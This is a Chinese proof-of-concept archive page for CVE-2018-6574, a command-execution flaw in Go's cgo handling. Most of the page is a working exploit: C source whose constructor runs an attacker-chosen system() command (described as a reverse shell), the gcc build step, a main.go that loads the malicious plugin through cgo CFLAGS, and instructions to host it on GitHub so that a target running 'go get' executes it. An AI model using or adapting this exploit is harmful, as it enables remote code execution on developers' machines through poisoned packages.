POC详情: 5e219d5e907798c5005f7fb8c8b8a52bd84139d2

来源
关联漏洞
标题: Google Go 安全漏洞 (CVE-2018-6574)
描述:Google Go是美国谷歌(Google)公司的一种针对多处理器系统应用程序的编程进行了优化的编程语言。 Google Go 1.8.7之前版本、1.9.4之前的1.9.x版本和1.10rc2之前的1.10 pre-releases版本中存在安全漏洞。远程攻击者可利用该漏洞执行命令。
描述
Golang cgo exploit for CVE-2018-6574
介绍
# CVE-2018-6574

### Steps to reproduce:

1. Create a .c file containing the malicious command (revshell):
```
#include<stdio.h>
#include<stdlib.h>

static void malicious() __attribute__((constructor));

void malicious() {
  system("<insert your command here>");
}
```
2. Compile it using GCC. You must compile it on the exact architecture and OS as the target (e.g. Linux x86_64):
```
gcc -shared -o attack.so -fPIC attack.c
```
3. Create a main.go file containing headers that will tell go to use our malicious plugin:
```
package main
// #cgo CFLAGS: -fplugin=./attack.so
// typedef int (*intFunc) ();
//
// int bridge_int_func(intFunc f){
//   return f();
// }
//
// int fortytwo(){
//   return 42;
// }
import "C"
import "fmt"

func main() {
    f := C.intFunc(C.fortytwo)
    fmt.Println(int(C.bridge_int_func(f)))
    // Output: 42
}
```
4. Host the files `main.go` and `attack.so` on a github repo
5. On the target machine, run the command `go get github.com/<your-handle>/<your-hepo>
6. Be happy
文件快照

[4.0K] /data/pocs/5e219d5e907798c5005f7fb8c8b8a52bd84139d2 ├── [ 154] attack.c ├── [ 15K] attack.so ├── [ 316] main.go └── [1005] README.md 0 directories, 4 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。